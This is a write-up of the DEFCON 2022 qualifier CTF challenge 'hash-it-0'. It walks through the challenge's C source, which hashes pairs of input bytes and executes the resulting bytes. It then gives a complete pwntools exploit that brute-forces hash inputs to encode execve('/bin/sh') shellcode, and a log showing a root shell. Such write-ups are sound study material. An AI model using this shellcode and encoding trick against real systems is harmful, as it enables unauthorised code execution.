DEFCON 2022 Quals: hash-it-0

hash it 0

The hash-it-0 challenge is from DEFCON’s 2022 qualification round. It is like a normal shellcoding challenge but with mild steroids

The challenge involves shellcoding and we need to encode the shellcode for the target program to process and execute.

Analysis

The challenge involves single binary called main.c:

#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

#include <openssl/evp.h>

#define ALARM_SECONDS 10

void be_a_ctf_challenge()
{
    alarm(ALARM_SECONDS);
}

typedef const EVP_MD *(*hash_algo_t)(void);

hash_algo_t HASH_ALGOS[] = {
    EVP_md5,
    EVP_sha1,
    EVP_sha256,
    EVP_sha512};

int hash_byte(
    uint8_t input_byte_0,
    uint8_t input_byte_1,
    uint8_t *output_byte,
    const EVP_MD *(*evp_md)(void))
{
    EVP_MD_CTX *mdctx;

    uint8_t input[2];
    input[0] = input_byte_0;
    input[1] = input_byte_1;

    if ((mdctx = EVP_MD_CTX_new()) == NULL)
    {
        return -1;
    }

    if (1 != EVP_DigestInit_ex(mdctx, evp_md(), NULL))
    {
        return -1;
    }

    if (1 != EVP_DigestUpdate(mdctx, input, 2))
    {
        return -1;
    }

    uint8_t *digest = malloc(EVP_MD_size(evp_md()));

    if (digest == NULL)
    {
        return -1;
    }

    unsigned int digest_len = 0;
    if (1 != EVP_DigestFinal_ex(mdctx, digest, &digest_len))
    {
        return -1;
    }

    EVP_MD_CTX_free(mdctx);

    *output_byte = digest[0];

    free(digest);

    return 0;
}

int read_all(FILE *fh, void *buf, size_t len)
{
    uint8_t *b8 = (uint8_t *)buf;
    size_t bytes_read = 0;
    while (bytes_read < len)
    {
        int r = fread(&b8[bytes_read], 1, len - bytes_read, fh);
        if (r <= 0)
        {
            return -1;
        }
        bytes_read += r;
    }
    return 0;
}

int main(int argc, char *argv)
{
    be_a_ctf_challenge();

    uint32_t shellcode_len = 0;
    if (read_all(stdin, &shellcode_len, sizeof(uint32_t)))
    {
        return -1;
    }

    shellcode_len = ntohl(shellcode_len);

    uint8_t *shellcode_mem = malloc(shellcode_len);
    if (shellcode_mem == NULL)
    {
        return -1;
    }

    if (read_all(stdin, shellcode_mem, shellcode_len))
    {
        return -1;
    }

    unsigned int i;
    for (i = 0; i < shellcode_len; i += 2)
    {
        uint8_t new_byte;
        if (hash_byte(shellcode_mem[i],
                      shellcode_mem[i + 1],
                      &new_byte,
                      HASH_ALGOS[(i >> 1) % 4]))
        {
            return -1;
        }
        shellcode_mem[i / 2] = new_byte;
    }

    /* If they can't figure out shellcode_len needs to be page-aligned that's
       their problem. */
    void *mem = mmap(0,
                     shellcode_len / 2,
                     PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_PRIVATE | MAP_ANONYMOUS,
                     -1,
                     0);

    memcpy(mem, shellcode_mem, shellcode_len / 2);

    ((void (*)())mem)();

    return 0;
}

The program reads in length of the shellcode, and reads shellcode to the length given.

Notes

Back to main.c :leftwards_arrow_with_hook: We’re mostly interested in hash_byte, since it will process the user input and create a new shellcode to execute.

Observing hash_byte suggests that it will take in two bytes and create a single output byte. It will choose one of four hash algorithms from:

hash_algo_t HASH_ALGOS[] = {
    EVP_md5,
    EVP_sha1,
    EVP_sha256,
    EVP_sha512};

based on the current index- and this is circular, meaning the first two bytes will be processed by MD5, the second SHA-1, the third SHA-256, the fourth SHA-512, and back to MD5.

Planning

We could only create an encoded shellcode where each two bytes, when digested by hash, corresponds to each byte of the actual shellcode and send it.

This can be achieved by:

Exploit

A Python exploit that reciprocates the above plan can be written as:

#!/usr/bin/python3
from pwn import *
import hashlib

context.log_level='debug'
context.arch='amd64'
# context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']

ru 		= lambda a: 	p.readuntil(a)
r 		= lambda n:		p.read(n)
sla 	= lambda a,b: 	p.sendlineafter(a,b)
sa 		= lambda a,b: 	p.sendafter(a,b)
sl		= lambda a: 	p.sendline(a)
s 		= lambda a: 	p.send(a)

sc = asm(f'''
lea rdi, [rip+binsh]
xor rdx, rdx
xor rsi, rsi
mov eax, 59
syscall
binsh: .asciz "/bin/sh"
''')

payload = b''
for i, c in enumerate(sc):
    for j in range(2**16): # brute force 2 bytes
        if i % 4 == 0: m = hashlib.md5() # initialize everytime!!!
        elif i % 4 == 1: m = hashlib.sha1()
        elif i % 4 == 2: m = hashlib.sha256()
        elif i % 4 == 3: m = hashlib.sha512()
        m.update(p16(j)) # 2 byte input
        if m.digest()[0] == c: # match found
            payload += p16(j)
            break
    else: 
        log.critical("Hash crack fail") # after all iterations
        exit()

log.info("length: "+str(len(payload)))

p=process('./challenge')

s(p32(len(payload))[::-1]) # big endian
# gdb.attach(p)
sleep(1.0)
s(payload)

p.interactive()

I didn’t know I had to initialize hash function everytime before using it, but now I do.

result:

> # ./exp.py
[DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python3.10/dist-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
    .section .shellcode,"awx"
    .global _start
    .global __start
    .p2align 2
    _start:
    __start:
    .intel_syntax noprefix
    lea rdi, [rip+binsh]
    xor rdx, rdx
    xor rsi, rsi
    mov eax, 59
    syscall
    binsh: .asciz "/bin/sh"
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-zrc6ejvk/step2 /tmp/pwn-asm-zrc6ejvk/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-zrc6ejvk/step3 /tmp/pwn-asm-zrc6ejvk/step4
[*] length: 56
[+] Starting local process './challenge' argv=[b'./challenge'] : pid 2656
[DEBUG] Sent 0x4 bytes:
    00000000  00 00 00 38                                         │···8│
    00000004
[DEBUG] Sent 0x38 bytes:
    00000000  6a 01 26 00  8c 00 f3 00  71 00 0a 00  17 00 33 02  │j·&·│····│q···│··3·│
    00000010  5d 00 f4 00  6e 00 f4 01  55 00 2d 01  c7 00 81 02  │]···│n···│U·-·│····│
    00000020  71 00 0a 00  62 01 0e 00  c2 00 80 00  11 03 5b 01  │q···│b···│····│··[·│
    00000030  c2 00 3f 00  d0 00 81 02                            │··?·│····│
    00000038
[*] Switching to interactive mode
$ id
[DEBUG] Sent 0x3 bytes:
    b'id\n'
[DEBUG] Received 0x34 bytes:
    b'uid=0(root) gid=0(root)

Thanks,

079